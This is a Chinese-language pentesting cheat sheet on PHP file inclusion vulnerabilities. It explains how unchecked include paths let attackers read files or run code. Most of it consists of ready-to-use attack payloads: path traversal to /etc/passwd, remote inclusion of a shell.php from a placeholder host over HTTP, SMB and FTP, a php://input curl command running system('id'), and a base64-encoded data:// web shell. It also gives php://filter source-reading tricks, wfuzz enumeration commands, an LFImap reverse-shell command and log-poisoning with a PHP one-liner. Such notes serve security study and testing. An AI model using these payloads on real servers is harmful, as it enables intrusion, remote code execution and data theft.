文件包含
漏洞介绍
文件包含漏洞 是指应用将未经过严格校验的外部输入用作文件路径或 URL 进行包含/加载,导致攻击者能够读取敏感文件或使服务器执行未授权的本地或远程代码。
基本原理
应用在运行时根据外部输入(URL、参数、表单、cookie、头部等)动态选择并加载文件,而没有对输入做充分校验或限制,导致攻击者能够指定任意文件路径(本地或远程)被包含、读取、执行或泄露。常见于 PHP 中的 include / require / include_once / require_once / file_get_contents 函数。
其中 file_get_contents 函数只是获取文件的内容,并不执行文件中的 php 代码;而 include 等函数则在包含文件的时候,会对文件中 php 代码的部分执行并输出结果,而对于非 php 代码的部分则直接显示。因此,在面对 include 等函数的时候,则有可能直接获得目标服务器的 Shell。
检测方法
由于 PHP 支持 php 封装器 和各种 协议 来对资源文件进行处理,因此,用来检测文件包含的用法也是相当的丰富的。如下:

?page=../../../../../../etc/passwd #本地文件读取
?page=../../../../../../etc/passwd%00 #截断追加的后缀文件类型(.php),但仅在 PHP5.4 之前有效。
?page=file:///etc/passwd #本地文件读取,免 ../ 用法。
?page=http://1.1.1.1/shell.php #HTTP 远程文件包含
?page=\\1.1.1.1\shared\shell.php #SMB 远程文件包含
?page=ftp://1.1.1.1/shell.php #FTP 远程文件包含【注:python -m pyftpdlib -w -p 21】
?page=zip:///tmp/shell.zip%23shell.php #直接包含 zip 压缩包中的文件。压缩包需自行上传。【注:zip shell.zip shell.php】
?page=phar:///tmp/shell.zip/shell.php #同上述的 zip 用法一样
curl -X POST "http://example.com/index.php?page=php://input" --data "<?php system('id'); ?>" #此法需在 POST 中携带 php 代码
?page=data://...用法见下文
?page=php://filter...用法见下文
data:// 协议用法
?page=data://text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?> #读取 index.php 的源码,并以 base64 编码输出。
?page=data://text/plain,<?php phpinfo(); ?> #打印 PHP 测试页
?cmd=id&page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4= #让服务端执行一句话木马 "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
?page=data:text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
?page=data:text/plain,<?php phpinfo(); ?>
?cmd=id&page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
注意,此协议受 php 配置
allow_url_open和allow_url_include的限制
php://filter 过滤器用法
?page=php://filter/read=string.toupper|string.rot13|string.tolower/resource=file:///etc/passwd #字串大小写转换
?page=php://filter/string.toupper/string.rot13/string.tolower/resource=file:///etc/passwd #字串大小写转换
?page=php://filter/convert.base64-encode|convert.base64-decode/resource=file:///etc/passwd #base64 编/解码处理
?page=php://filter/zlib.deflate/convert.base64-encode/resource=file:///etc/passwd #压缩并 base64 编码
readfile('php://filter/zlib.inflate/resource=test.deflated'); #解压缩上述结果
注意:此协议大小写不敏感,故
Php://这样的用法也是可以使用的。
利用方法
方法 1:通过 wfuzz -c -w ./file_inclusion_linux.txt --hw 0 http://1.1.1.1/index.php?page=../../../../../../../FUZZ 可快速探测系统上存在哪些文件。
方法 2:通过 wfuzz -c -w ./directory-list-2.3-medium.txt --hw 0 http://1.1.1.1/index.php?page=FUZZ/../../../../etc/passwd 可快速探测当前目录下有哪些文件夹。
方法 3:若要获取 Shell,依旧可参考上小节中通过各种协议和过滤器检测的方法。例如:http、ftp、smb、zip、data、php://input 协议的用法。
方法 4:借助自动化工具 LFImap 去自动根据各种可利用的 RCE 协议去获取反向 shell。例如:python3 lfimap.py -U "http://IP/vuln.php?param=testme" -C "PHPSESSID=XXXXXXXX" -a -x --lhost 1.1.1.1 --lport 1234
方法 5:当 Web 服务器是 Apache 或 Nginx 时,可创建一个在 User Agent 或 GET 参数中设置 php shell 的 HTTP 请求,然后去包含它们对应的日志文件,以让服务器执行日志中的一句话木马 <?php system($_GET['cmd']);?>。 【注:需先通过 方法 1 去确认目标服务器上存在的日志文件。】
杂七杂八
- 参考文章:HackTricks
- 模糊测试列表:Auto_Wordlists-lin、Auto_Wordlists-win
- 自动化工具:LFImap、kadimus